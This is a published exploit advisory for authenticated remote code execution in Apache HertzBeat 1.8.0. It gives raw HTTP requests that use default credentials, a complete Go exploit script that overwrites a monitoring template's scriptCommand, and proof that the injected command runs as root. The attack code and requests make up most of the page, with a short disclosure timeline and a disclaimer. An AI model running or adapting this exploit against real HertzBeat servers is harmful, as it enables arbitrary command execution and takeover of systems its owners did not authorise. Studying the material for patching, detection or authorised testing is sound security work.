Skip to main content

Apache HertzBeat 1.8.0 – Remote Code Execution

Categories: WebApps

Apache HertzBeat 1.8.0 – Remote Code Execution

Proof of Concept (PoC)

poc.php
# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution 
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A

================================================================================
METADATA
================================================================================

Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)

Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/

================================================================================
VULNERABILITY SUMMARY
================================================================================

HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.

An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.

If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.

The default Docker deployment runs the process as root (uid=0).

================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================

Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:

    public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
        ScriptProtocol scriptProtocol = metrics.getScript();
        // ...
        if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
            switch (scriptProtocol.getScriptTool()) {
                case BASH -> processBuilder = new ProcessBuilder(
                    BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                // ...
            }
        }
        // ...
        Process process = processBuilder.start();  // executed
    }

YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:

    private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
            "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
            "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
            "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
            "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
            "InflaterOutputStream", "FileOutputStream"};

================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================

Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.

--- Step 1: Authenticate ---

POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json

{"type":1,"identifier":"operator","credential":"hertzbeat"}

Response: data.token (JWT) — use as Bearer below.

--- Step 2: Overwrite linux_script template ---

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"define":"app: linux_scriptncategory: osnname:n  en-US: Linux Scriptn  zh-CN: Linux Scriptnparams:n  - field: hostn    name:n      en-US: Hostn      zh-CN: Hostn    type: hostn    required: truenmetrics:n  - name: basicn    i18n:n      en-US: Basicn      zh-CN: Basicn    priority: 0n    fields:n      - field: resultn        type: 1n        i18n:n          en-US: Resultn          zh-CN: Resultn    protocol: scriptn    script:n      scriptTool: bashn      charset: UTF-8n      scriptCommand: id > /tmp/pwnedn      parseType: multiRown"}

Decoded define (YAML):

app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: id > /tmp/pwned
      parseType: multiRow

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

--- Step 3: Create monitor (if no linux_script monitors exist) ---

POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}

--- Step 4: Verify (example: Docker) ---

docker exec hertzbeat cat /tmp/pwned

Expected:

uid=0(root) gid=0(root) groups=0(root)

================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"os"
	"strings"
)

const target = "http://localhost:1157"

type authResponse struct {
	Code int `json:"code"`
	Data struct {
		Token string `json:"token"`
	} `json:"data"`
}

type apiResponse struct {
	Code int    `json:"code"`
	Msg  string `json:"msg"`
}

func main() {
	if len(os.Args) < 2 {
		fmt.Fprintf(os.Stderr, "Usage: %s <command>n", os.Args[0])
		fmt.Fprintf(os.Stderr, "Example: %s "id > /tmp/pwned"n", os.Args[0])
		os.Exit(1)
	}
	cmd := strings.Join(os.Args[1:], " ")

	fmt.Println("============================================================")
	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
	fmt.Println("============================================================")
	fmt.Println()

	fmt.Println("[*] Authenticating...")

	token, err := authenticate()
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Auth failed: %vn", err)
		os.Exit(1)
	}

	fmt.Printf("[+] Got token: %s...nn", token[:40])

	fmt.Println("[*] Overwriting linux_script template...")
	fmt.Printf("    PUT /api/apps/define/ymln")
	fmt.Printf("    scriptCommand: %sn", cmd)

	err = putMaliciousDefine(token, cmd)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %vn", err)
		os.Exit(1)
	}

	fmt.Println("[+] Template overwritten.")
	fmt.Println()

	fmt.Println("[*] Creating monitor instance to trigger collection...")
	fmt.Println("    POST /api/monitor with app: linux_script")

	err = createMonitor(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %vn", err)
		fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
	} else {
		fmt.Println("[+] Monitor created.")
		fmt.Println()
	}

	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
	fmt.Printf("[+] Command: %snn", cmd)
	fmt.Println("[*] Verify with (assuming its running in docker locally):")
	fmt.Println("    docker exec hertzbeat <check your payload>")
}

func authenticate() (string, error) {
	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`

	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
	if err != nil {
		return "", err
	}

	defer resp.Body.Close()

	var result authResponse
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return "", err
	}

	if result.Code != 0 || result.Data.Token == "" {
		return "", fmt.Errorf("unexpected response code %d", result.Code)
	}

	return result.Data.Token, nil
}

func putMaliciousDefine(token, command string) error {
	define := fmt.Sprintf(`app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: "%s && echo result done"
      parseType: multiRow
`, command)

	payload, _ := json.Marshal(map[string]string{"define": define})

	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)

	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}

	return nil
}

func createMonitor(token string) error {
	suffix := randSuffix()
	name := fmt.Sprintf("rce-poc-%s", suffix)
	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)

	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func randSuffix() string {
	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
	b := make([]byte, 8)

	for i := range b {
		b[i] = chars[rand.Intn(len(chars))]
	}

	return string(b)
}

================================================================================
NOTES
================================================================================

- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
  not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
  instead of PUT to avoid overwriting an existing definition; then create a
  monitor for that app.

================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================

Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.

Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisory

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...